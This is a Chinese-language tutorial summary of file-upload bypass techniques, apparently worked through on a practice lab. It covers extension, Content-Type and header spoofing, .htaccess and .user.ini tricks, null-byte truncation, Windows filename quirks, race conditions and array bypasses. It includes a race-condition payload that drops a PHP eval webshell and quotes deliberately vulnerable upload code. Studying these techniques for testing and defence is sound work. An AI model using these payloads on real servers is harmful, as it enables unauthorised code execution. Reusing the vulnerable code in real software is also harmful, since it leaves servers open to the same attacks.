文件上傳漏洞Bypass總結
前端JS驗證文件類型:
上傳后綴jpg,抓包改為php后綴
=========================================================================
黑名單:
========================================================================
content-type繞過
后端僅判斷content-type類型,可以通過抓包修改content-type值進行繞過
使用別名、大小寫繞過
使用php3,phtml等別名繞過。或大小寫 Php等名稱進行繞過
.htaccess
先上傳.htaccess 文件,指定將文件解析為php文件運行,然后再上傳圖片馬
后綴加空繞過
原文件名:filename=“info.php”
修改后文件名:filename=“info.php ” //加了一個空格
后綴加 . 繞過
原文件名:filename=“info.php”
修改后文件名:filename=“info.php.” // 此方法只適用於windows系統
文件流繞過
原文件名:filename=“info.php”
修改后文件名:filename=“info.php::$DATA” //此方法只適用於windows系統
點空格點繞過
原文件名:filename=“info.php”
原文件名:filename=“info.php. .”
雙寫繞過
原文件名:filename=“info.php”
修改后文件名:filename=“info.pphphp” //后端只過濾一次時有效(非循環過濾)
user.ini繞過
user.ini相當於是用戶自定義的php.ini文件。針對黑名單的文件上傳,可以使用 user.ini 繞過。
user.ini:
auto_prepend_file=taotao.gif //將文件使用 require語句自動包含
接下來只要上傳一個自定義的木馬文件即可
================================================
白名單:
=====================================================================
文件頭判斷繞過:
后端通過識別文件頭進行判斷文件類型,一般使用GIF89a文件頭進行繞過
原data:
<?php phpinfo();?>
修改后data:
GIF89a
<?php phpinfo();?>
00截斷繞過:
前置條件:php版本小於5.3.4,且魔術引號關閉
實例一:URL中有保文件徑
抓包發現URL有保存路徑,可以通過修改保存路徑控制文件的保存信息(需要修改type與file name)
修改保存路徑后成功保存為PHP文件
實例二:body中有文件路徑
POST類型的00截斷不能使用直接添加%00的原因是。GET方式的%00會被服務器解碼成null,而於GET不同的是POST類型的需要先URL解碼成null再發送數據包
操作成功
關於GET與POST不同的解釋:
當path存在於URL或COOKIE中或不存在’enctye=“multipart/form-data”'字段的表單中時,后端會對提交的數據進行一次URLdecode,變成字符串結束符號。可以直接使用%00
當path存在於上傳的body時,頭部中有‘enctye=“multipart/form-data”'字段(不對數據表單數據進行編碼),所以需要對%00進行decode后再上傳
條件競爭(邏輯漏洞)BYPASS:
概念:
開發者進行開發時常認為代碼會以線性方式運行,當多個線程並發時,會造成不可預料的后果
原理:
文件上傳到服務器目錄,再進行驗證,若不符合條件則刪除
思路:
先上傳文件到服務器,再使用多線程並發訪問該文件。若在上傳完成到驗證開始的階段成功對文件進行訪問,則可以占用當前文件資源,並導致無法刪除。
實戰:
payload:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_post["cmd"])?>');?>
// 腳本運行后生成新的腳本
實驗源碼大意:
將文件上傳到服務器,服務器保存並開始驗證,若成功通過驗證則保存並重命名。若不通過則刪除
設置線程后持續發送上傳和訪問的數據包
shell寫入成功
Apache解析漏洞:
含有保存文件名與原文件名
這里利用Apache解析漏洞,修改save_name的值
文件被成功上傳並地址為
http://127.0.0.1/file/upload/taotao.php/
數組繞過:
實驗源碼:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//檢查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上傳該類型文件!";
}else{
//檢查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上傳該后綴文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上傳成功!";
$is_upload = true;
} else {
$msg = "文件上傳失敗!";
}
}
}
}else{
$msg = "請選擇要上傳的文件!";
}
源碼中檢測MIME的部分很好繞過
而if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
這部分將保存文件名分為數組,並儲存到file[]中,而后檢測數組最后一個值是否符合規范。通過檢測后進行重新拼接